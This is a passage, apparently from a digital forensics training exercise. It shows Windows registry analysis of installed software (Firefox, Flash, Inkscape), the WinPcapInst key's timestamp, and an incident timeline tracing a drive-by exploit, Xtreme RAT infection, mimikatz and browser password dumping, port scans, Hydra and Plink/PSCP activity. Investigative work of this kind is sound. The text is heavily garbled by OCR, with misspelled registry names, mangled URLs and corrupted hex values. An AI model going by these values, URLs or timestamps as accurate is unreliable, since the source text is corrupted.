= [ Uninstal ;I Valug Tvpe Data
;l,lf] Authorized COFPrefix REG_SZ
D {FC965F\4?—4839—4 ;i..l_lj Comments REG_SZ
[0 AddressBook ab) Contact REG_57
- [0 Adobe Flash Player ab) Displayversion REG_5Z 0.91
D Connection Manage ;a..l_rj HelpLink. REG_SZ
- [ DirectDrawEsx ab] HelpTelephane REG_SZ
[ DEM_Runtime ab) InstalDate REG_5Z 20160726
[ Fontcors g,_hf'] InstallLocation REG_SZ
- IMP-z_isl 3,_'1%] InstallSource REG_SZ CiiUsers\PeteriDownloads!
- [ 1E40 ab) MadiFyPath REG_E¥PAM... MsiExec.exe [1481922150-317E-4EE0-A310-
- [ IE4Data 3,_'1%] Publisher REG_SZ inkscape.org
-] IESBAKEX ab) Readme REG_S7
- [ IEData ab] Size REG_5Z
- MobileptionPack &%) Estimatedsize REG_DWORD  0x0004FCCE
=[] Mozila Firefox 3.0 | [ab] UrinstallString REG_EXPAM... MsiExec.exe [1481922150-317E-4BE0-A310-
= mozila Thunderbird | ab) URLIAFosbout REG_S5Z
~[Z0 MozillaMaintenance gﬁ:] URLUpdateInfo REG_SZ
[ MPlayerz &%) versionMajor REG_DWORD  D0x00000000
- [ schedulingagent _-‘_Igf] WersionMinar REG_DWORD  0x0000005E
(23 wic &8 windowsInstaller REG_DWORD  0x00000001
- [ winPcapInst J &4 version REG_DWORD  0x00SE0000
£ 20 uRL &%) Language REG_DWORD  0x00000409
(13 userPictureChange aB] DisplayMame REG_SZ Inkscape 0,91
(13 userstate 8% sEstimatedsizez REG_DWORD  0x00027E63
: 23 utiman

By browsing subkeys in Uninstall key, check Mozilla Firefox and Adobe Flash Player versions.

Walue | Type | Drata

gl_if'] DisplayMame REG_SZ Adobe Flash Player 18 MPAPL

gl_if'] Publisher REG_SZ Adobe Systems Incorporated

_«'_193] Displayiersion REG_3Z 15.0.0.194

_«'_193] HelpLink. REG_SZ htkp:ffrwen, adobe, comfgojflashplaver_supportf

_l‘ﬂ:?] Mofodify REG_Ca'CIRD 000000001

_l‘ﬂ:?] MoRepair REG_Ca'CIRD 000000001

393 RequiresIESysFile REG_3Z 4,70.0,1155

g_hj URLINfoAbout REG_SZ bkt freaene, adobe, com

g_h?] URLUpdateInfo REG_SZ hktp: ) fraene, adobe, com/gofgetflashplayver!

ﬁl_:f] WersionMajor REG_DWORD Ox00000012

ﬁl_:f] Wersioniinar REG_DWORD  0x00000000

gl_is"] UninstallString REG_SZ C:\windowssystem32iMacromed|FlashiFlashiUkl32_15_0_0_194_Plugin. exe -maintain plugin
gl_is"] DisplayIcon REG_SZ C:\windowssystem32iMacromed|FlashiFlashiUkl32_15_0_0_194_Plugin.exe
fl,l_r?] Estimatedsize REG_DWORD 000004636
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gﬁ:j Comments REG_SZ Mozilla Firefox 33.0.3 (%86 en-US)
g,i_lj DisplayIcon REG_SZ C:\Program Files\Mozilla Firefox\firefoux,exe, 0
3}_’3 DisplayMame REG_SZ Mozilla Firefox 33.0.3 (x86 en-US)
1'13 DisplayYersion REG_52 33.0.3
gl_’ﬁ HelpLink. REG_SZ https:/support.mozila.org
gﬁ:j InstallLocation REG_SZ Z:\Program Files\Mozilla Firefox
ab) publisher REG_S7 Mozilla
3}_’3 UninstallString REG_SZ "Z:\Program FilesiMozilla Firefoxuninstallhelper, exe"
gﬂ URLUpdatelnfo REG_SZ htkps: v mozilla,orgffirefox33.0, 3 releasenotes
gl_’ﬁ LRLInfoAbout REG_SZ https: ffvava . mozilla.org
ﬁ;'u_:i] MakodiFy REG_DWORD Ox00000001
E;'g;:] MNoR.epair REG_DWORD Ox00000001
E;'gi] Estimatedsize REG_DWORD 0x000135EB
E,:_;:] sEstimatedsizez REG_DWORD 0x00013503

Check the last modification date of WinPcaplnst key by right clicking on the subkey and choosing

Properties from the context menu.

UL MMlayers
I:I Schedulingfgent
[0 wic

- [ wWinPapInst
+ 1 URL

D UserPictureChange
+C| IsersState

D Ukilman

Copy Kew Path to Clipboard  Chrl+C
Copy Kew Mame to Clipboard

i loaded

? Properties. .. CErl+-K
[ﬂ Security. ., —
| Key Path | ROCTiMicrosoftiwindows) Current 2% Hash Records. ..

| Z:1homelenisaltraininglex liregiskey |, SOFTWARE

BETES

L J IWinPcapInst

Tdz: 119513
Belative Off=set: 020380
MNumher of Bubkeys: O

Security Eey O0ffset: 138DE7T7E
Late Modified: 27162016 1l:E50:31 PH

Ik
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7. Building the timeline

To get better picture of the whole incident at the end it’s worth to build timeline with all timestamps
collected from different sources. List below presents all timestamps obtained from the previous tasks.

Observations that should be correlated with other logs (network logs, logs from other hosts) were
additionally bolded.

TIMESTAMP [UTC] OBSERVATION EVIDENCE SOURCE

12:54:24 Start of System process Memory analysis

12:54:31 Start of Event log service System logs

Prefetch files

12:55:53 Start of firefox.exe UserAssist keys
13:02:46 User visits http://blog.mycompany.ex/ Firefox history
13:02:50 - 13:03:17 Browser downloads pages from http://blog.mysportclub.ex/wp- F!refox history, ‘
content/uploads/hk/ (EK) Filesystem analysis
13:02:53 Creation of Firefox cache file possibly containing exploit code (CVE- AV scan
o 2012-3993) Filesystem analysis
. . . . AV scan
13:02:56 Creation of 3568226350[1].exe file (referred in one of the cache files) . .
Filesystem analysis
13:02:57 Creation of svchost.exe binary in %TEMP% directory Filesystem analysis
13:02:57 Start of svchost.exe process containing Xtreme RAT code Memory analysis
13:02:57 Modification of Run and RunOnce keys Registry analysis
13:02:58 Start 'of second explorer.exe process containing Xtreme RAT code Memory analysis
(possible Run PE)
13:03:04 Start of update.exe process with Xtreme RAT code Memory analysis
13:03:10 Modification of GhCtxq8t registry key (update.exe) Registry analysis
13:03:16 Firefox flash plugin crash report Firefox crash reports
13:07:36 Start of some cmd.exe process Memory analysis
13:10:03 Creation of 54948tp.exe executable in %TEMP% directory Filesystem analysis
13:10:13 Execution of 54948tp.exe Prefetch files

Time period when http://blog.mysportclub.ex/wp-

LER TR 7 content/uploads/hk/files/data_32.bin was downloaded

Python decompilation
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13:14:47 tcorifstion of %APPDATA%\EpUpdate folder containing multiple hacking Filesystem analysis
13:14:47 g)r(zz:ziggno\f/;/?'il'oEul\:lZf;S;Ztstg;Profile folder containing results of Filesystem analysis
13:14:47 Execution of mimikatz.exe and creation of mimikatz.log file Ei::iiiir;rfrilj\;alysis
13:14:50 Execution of browserpassworddump.exe and creation of bpd.log Eiﬁifs?/tsctz:il(:;alysis
13:34:25 Creation of sysinfo.txt in %TEMP%\SystemProfile Filesystem analysis
13:42:12 Start of some cmd.exe process Memory analysis
13:50:29 Start of winpcap-nmap-4.13.exe UserAssist
13:59:29 Port scan of 192.168.5.1 Filesystem analysis
13:59:34 Port scan of 192.168.5.10 Filesystem analysis
13:59:36 Port scan of 192.168.5.15 Filesystem analysis
14:02:04 Execution of hydra.exe process (possible dictionary attack) System logs
14:04:44 Execution of Hydra.exe (possible dictionary attack) :;'::::;:chiglses
14:08:30 Start of some cmd.exe process Memory analysis
14:10:49 Possible login to some remote host (Plink.exe execution) Prefetch files
14:11:20 Possible login to some remote host (Plink.exe execution) Prefetch files
14:11:26 Modification of PUTTY SshHostKeys (RSA key pointing to 192.168.5.10) Registry analysis
14:17:45 Possible login to some remote host (Plink.exe execution) Prefetch files
14:18:48 Start of some cmd.exe process Memory analysis
14:20:44 Possible login to some remote host (Plink.exe execution) Prefetch files
14:22:45 Possible login to some remote host (Plink.exe execution) Prefetch files
14:23:02 Start of some cmd.exe process Memory analysis
14:23:31 Possible login to some remote host (Plink.exe execution) Prefetch files
14:23:46 Start of some cmd.exe process Memory analysis
14:47:12 Execution of PSCP tool, possibly to download/upload some data from prefetch files

remote host
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execution of PSCP tool, possibly to download/upload some data from

14:47:54
remote host

Prefetch files

execution of PSCP tool, possibly to download/upload some data from

14:50:09
remote host

Prefetch files
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